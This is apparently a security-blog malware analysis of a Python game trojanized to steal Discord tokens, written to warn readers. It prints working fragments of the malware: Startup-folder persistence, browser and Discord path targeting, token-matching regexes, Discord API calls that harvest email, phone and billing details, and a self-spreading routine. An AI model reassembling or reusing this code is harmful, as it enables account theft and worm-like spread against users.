Shall We Play a Game?
Our youngest readers won’t probably not get the point with this quote, it’s from the 1983 movie “WarGames”[1]. I used this subject because I found yesterday a small game in Python that offers not only some fun but also malicious code that will exfiltrate your browser data!
The file is called “Dimension_Lands_10 (1).py” (SHA256: 8b9f750310115110cad2716ab7496344d543dd437e4452c5eafbe11aee28f492).
In a previous diary, I mentioned a malicious Python script based on a Tk interface[3]. It seems to become popular because this new one does the same with a nice window. Compared to the other one, it has a great advantage: it’s a game and will attract more potential victims. People like small games to spend time during meetings.
And the game is properly working!
The attacker did not reinvent the wheel! The game code is available for free[4] on the Internet. Some malicious code has been added to exfiltrate data from Disocrd sessions.
First, persistence is implemented:
try: shutil.copyfile(__file__, ROAMING + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\system.py") except: pass
Then, the malware searches for the following applications:
PATHS = { "Discord" : ROAMING + "\\Discord", "Discord Canary" : ROAMING + "\\discordcanary", "Discord PTB" : ROAMING + "\\discordptb", "Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default", "Opera" : ROAMING + "\\Opera Software\\Opera Stable", "Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default", "Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default" }
It focuses on LevelDB files:
def gettokens(path): path += "\\Local Storage\\leveldb" tokens = [] for file_name in os.listdir(path): if not file_name.endswith(".log") and not file_name.endswith(".ldb"): continue for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]: for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"): for token in findall(regex, line): tokens.append(token) return tokens
What are LevelDBs[4]?
LevelDB is an on-disk key-value store where the keys and values are both arbitrary blobs of data. Each LevelDB database occupies a folder on the file system. The folder will contain some combination of files named “CURRENT”, “LOCK”, “LOG”, “LOG.old” and files named “MANIFEST-######”, “######.log” and “######.ldb” where ###### is a hexadecimal number showing the sequence of file creation (higher values are more recent). The “.log” and “.ldb” files contain the actual record data; the other files contain metadata to assist in reading the data in an efficient manner.
The regex in the code is used to search for saved sessions:
r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"
If sessions are found, the script connects to Discord to retrieve the victim's data:
def getuserdata(token): try: return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode()) except: pass
The following data are processed:
username = user_data["username"] + "#" + str(user_data["discriminator"]) user_id = user_data["id"] avatar_id = user_data["avatar"] avatar_url = getavatar(user_id, avatar_id) email = user_data.get("email") phone = user_data.get("phone") password = user_data.get("password") nitro = bool(user_data.get("premium_type")) billing = bool(has_payment_methods(token))
Irony, all details are exfiltrated to... Discord too!
The last interesting finding is a self-spread feature. It will send itself to newly compromised Discord users/sessions:
if self_spread: for token in working: with open(argv[0], encoding="utf-8") as file: content = file.read() payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="file"; filename="{__file__}"\nContent-Type: text/plain\n\n{content}\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\nserver crasher. python download: https://www.python.org/downloads\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\nfalse\n-----------------------------325414537030329320151394843687--' Thread(target=spread, args=(token, payload, 7500 / 1000)).start()
But, in the version I discovered, it was disabled. For debugging purposes?
def spread(token, form_data, delay):
return # Remove to re-enabled
for friend in getfriends(token):
try:
chat_id = getchat(token, friend["id"])
send_message(token, chat_id, form_data)
except Exception as e:
pass
sleep(delay)
Conclusion: Be careful with scripts that promise to be a game or a funny app. They may deliver more "fun" then expected!
[1] https://www.imdb.com/title/tt0086567/
[2] https://www.virustotal.com/gui/file/8b9f750310115110cad2716ab7496344d543dd437e4452c5eafbe11aee28f492/details
[3] https://isc.sans.edu/diary/Malicious+Python+Script+with+a+TCLTK+GUI/30478
[4] https://pythondex.com/bouncing-ball-game-in-python
[5] https://www.cclsolutionsgroup.com/post/hang-on-thats-not-sqlite-chrome-electron-and-leveldb
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Amsterdam | Jan 20th - Jan 25th 2025 |
Comments